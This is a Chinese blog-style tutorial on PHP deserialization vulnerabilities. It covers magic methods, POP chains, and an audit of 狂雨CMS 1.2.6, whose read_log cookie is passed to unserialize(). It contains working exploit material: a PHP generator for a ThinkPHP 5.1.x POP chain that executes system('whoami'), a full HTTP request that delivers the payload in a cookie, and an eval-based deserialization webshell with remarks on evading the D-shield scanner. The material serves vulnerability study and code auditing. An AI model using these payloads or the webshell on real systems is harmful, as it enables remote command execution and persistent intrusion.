浅析PHP反序列化漏洞的利用与审计

  • A+

0x00 前言

反序列化漏洞其实很多人都讲过了,正巧最近在某坛子上看到篇审计讲一个典型的PHP反序列化漏洞点,那么我就重新回顾下,主要是学习思路和个人理解,如果误区请指出,笔者感谢。

0x01 PHP序列化与反序列化介绍

PHP提供了两个对象序列化和反序列化的方法,分别是serialize()unserialize()

从意义上理解,serialize()序列化的作用是产生一个可存储的值的表示。在PHP官网有关于serialize()详细的解释。

而unserialize()反序列化的作用是从已经存储的表示中创建PHP的值。unserialize()这句话可能有点抽象。但是可以通俗的解释,原本PHP中一个定义好的类的对象被序列化为一个这种特定的字符串了,反序列化就可以把他还原为原本的类的对象。(PS:面向对象中类与对象的概念- -)

这里我先举一个简单的例子,不从开发的角度去分析这个反序列化和序列化,就拿打一个反序列化利用点来说。假设他可能有一条完整的POP利用链。

那么我们可能想通过这个反序列化利用点去执行命令,那么我们就可以构造一个恶意的类,让他执行我们特定的一段代码。进而实现利用。

这里我直接贴写的一个小demo,demo用到了魔术方法(后续继续介绍,前面先聊利用)。

反序列化利用点简单代码:

```php
rce.php

info);
}
}
$a = $_GET['rce'];
$b = unserialize($a);
?>
```

exp代码:

```php
exp.php

info);
}
}
$a = new demo();
$b = serialize($a);
print $b;
?>

```

可以看到,exp这里是生成一个序列化的字符串,即将执行我们构造的恶意代码phpinfo()。

php
O:4:"demo":1:{s:4:"info";s:10:"phpinfo();";}

可以对比下原有的序列化字符串。

php
O:4:"demo":1:{s:4:"info";s:4:"demo";}

在序列化的字符串中,改变的位置只有两处,一处是长度,另一处可以存放我们需要被eval函数执行的代码。

再延伸一下,如果我们可以控制这个特定的位置需要被执行的代码,也就可以实现通过反序列化来执行命令的一句话webshell,也就是前两年有段时间比较流行的马。

简单的实现起来可能就是这样的,可惜D盾对这一系列的马有检测特征。其实这个应该有更多的变形才对,不知道是不是大佬都不公开哈哈哈。

反序列化一句话简单代码:

php
<?php
class demo{
var $info = "demo";
function __destruct(){ //__destruct魔术方法
eval($this->info); //eval函数执行命令
}
}
$a = $_POST['rce']; //webshell连接密码
$len = strlen($a) + 1; //长度
$str = "O:4:\"demo\":1:{s:4:\"info\";s:".$len.":\"".$a.";\";}"; //demo类的对象序列化后的字符串
$b = unserialize($str); //反序列化过程触发魔术方法
?>

0x02 POP

魔术方法:

可以看到,上述的例子中关键函数都用到了PHP中的魔术方法。命名是通常以符号__开头,这些函数在一些场景下会被自动调用,在使用unserialize()反序列化类的对象的时候同样会触发魔术方法,如果其中有一些关键的函数比如eval、system等诸如此类的函数,在这个过程中,如果我们可以控制unserialize()入口,就像上一个例子一样进而控制对象的参数值,那么可能就能利用这个反序列化点,这些综合到一起也就形成了利用链。

利用PHP中的反序列化,主要要有利用链。其实魔术方法这种利用链,主要多是在CTF中常出现的。

构造POP链:

利用PHP反序列化的必要条件是:

  • unserialize()参数值可控(还可以是phar协议,此文中暂不分析)

  • 调用危险函数路径可通。

什么是路径可通呢?

这个在个人理解的时候其实更多的是从怎么去利用的角度去看的,比如CTF,看到这个题知道肯定有漏洞,那么如果能够通过一系列方法找到这个点,那么就路径可通。

这里翻一篇文章找到了lemon师傅的一个demo:

```php
<?php
class lemon {
protected $ClassObj;

function __construct() {
    $this->ClassObj = new normal();
}

function __destruct() {
    $this->ClassObj->action();
}

}

class normal {
function action() {
echo "hello";
}
}

class evil {
private $data;
function action() {
eval($this->data);
}
}

unserialize($_GET['d']);
?>
```

可以看到lemon类中,有两个魔术方法,分别进行了两个操作,__construct()实例化了一个normal类的对象__destruct()执行了action()方法

但是可以看到evil类中,同样有action()方法,并且有危险函数eval()。

再看unserialize()方法,我们可以通过get传参进而控制反序列化的参数输出。

那么,就可以构造序列化的exp字符串,把实例化的normal类替换为evil类。action()方法在evil类和normal类中同名,在执行__destruct()方法时,名为ClassObj的对象调用的方法就变为了evil类中的action()方法。

这样我们就完成了利用,贴下exp的代码,我们来试试效果。

```php
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";

}
echo urlencode(serialize(new lemon()));
?>
```

php
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

成功。

image20201223130053996.png

TP框架中的POP链:

然后就是说审计这一块,其实单纯的找一个反序列化的利用点,我们或许只需要全局搜索unserialize()方法,但是像如果想准确的利用反序列化,我们就需要找到POP链,在TP框架中,多个版本都有几条POP利用链。

这里例举5.1.X,看到别人的文章分析至少有两个POP链,一个实现任意文件删除,一个可以执行命令。

具体参考文章:

thinkphp5.1.x~5.2.x版本反序列化链挖掘分析

Thinkphp 反序列化利用链深入分析

在审计同框架CMS时,比如TP二开的CMS,如果作者没有把这里堵上,那么只要有可控的unserialize()方法,就可以直接利用。

0x03 审计

狂雨CMS

这款CMS最近在某坛子看到别人审了,TP5.1.X的二开CMS,正好有个很典型的反序列化利用点,这里就拿来验证审计思路,使用的版本是1.2.6。

搭建环境:

PHPSTUDY

nginx1.15.11

mysql5.5.29

php7.3.4

使用nginx对这款cms要配置伪静态规则,不然安装的过程就可能出现问题:

location / {
if (!-e $request_filename){
rewrite ^(.*)$ /index.php?s=$1 last; break;
}
}

代码分析:

我的审计思路一般是黑盒加白盒。这样的话可以通过实际操作了解一些cms的功能点。

这里我们直接去审计反序列化利用点,通常情况下,我们可以直接全局搜索unserialize()方法。

application目录下看到了多处反序列化的点,可以一个一个的看一下。

image20201224120740973.png

从文件的自面意思上看,这个文件可能包含是用户看用户最近读的书的功能模块,我们看来第一处。


\application\user\model\Recentread.php
第23行

直接从cookie中获取read_log的值,并反序列化。

我们只需要构造一个read_logcookie里就可以直接利用了。

image20201224121218017.png

再看另外几处,同样是read_log参数的反序列化。

image20201224121737842.png

那么接下来就是利用,从位置上来看都是user的model。

我们可以去跟一下,看哪里用到了Recentread,在controller里找到了,但是看到继承了UserBase,那么肯定有权限控制,方法不能直接被调用。\application\user\controller\Recentread.php

image20201224123317779.png

\application\common\controller\UserBase.php

看到这里可以看到权限控制,必须登录后才能利用了。如果能绕过登录验证,那么这个洞也可以直接利用。

image20201224123645095.png

这里先测试注册普通用户,尝试打一下TP5.1.X的反序列化poc。

在注册的过程中发现他的cookie貌似都有前缀。

```
Cookie: lfforward=%2F; lfuser_auth=think%3A%7B%22uid%22%3A%221%22%2C%22username%22%3A%22test33%22%7D; lf_user_auth_sign=73f108f400508594ce52afaeabe4c7ee587082ab

```

跟一下看看是不是加上了前缀,在

\config\cookie.php中看到了cookie前缀。等会儿利用的时候加上。

image20201224124136967.png

漏洞利用:

这里注册了一个用户名为test33的普通用户。

我们直接去访问刚才看到的Recentread功能模块,在cookie中加上lf_read_log,参数值为我们序列化的利用poc。

```
GET /user/recentread/index.html HTTP/1.1
Host: www.keefe.is
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.keefe.is/user/comment/index.html
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6,fr;q=0.5
Cookie: lfforward=%2F; lfuser_auth=think%3A%7B%22uid%22%3A%221%22%2C%22username%22%3A%22test33%22%7D; lf_user_auth_sign=73f108f400508594ce52afaeabe4c7ee587082ab;lf_read_log=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22hello%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22hello%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D;
Connection: close

```

这里贴下网上找的tp5.1.x的poc,这个是命令执行,还有一个删除文件的链:

```php
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}

namespace think\model\concern {
trait Conversion
{
}

trait Attribute
{
    private $data;
    private $withAttr = ["hello" => "system"];

    public function get()
    {
        $this->data = ["hello" => "whoami"];
    }
}

}

namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}

namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}

namespace {

$conver = new think\model\Pivot();
$payload = new think\process\pipes\Windows($conver);
echo urlencode(serialize($payload));

}
?>
```

实现效果:

image20201224114156455.png

0x04 总结

对于PHP中的反序列化漏洞,其实还有一些场景没有提及,比如phar这些,在实际利用场景下我们往往只需要确定一个反序列化的利用点,就可以达到目的。而对于审计而言,需要同时有利用链、可控的反序列化利用点,总的来说还是很有研究价值的,大佬勿喷,思路仅供参考。

0x05 参考链接

thinkphp5.1.x~5.2.x版本反序列化链挖掘分析

Thinkphp 反序列化利用链深入分析

php 反序列化POP链的构造与理解

狂雨CMS前台RCE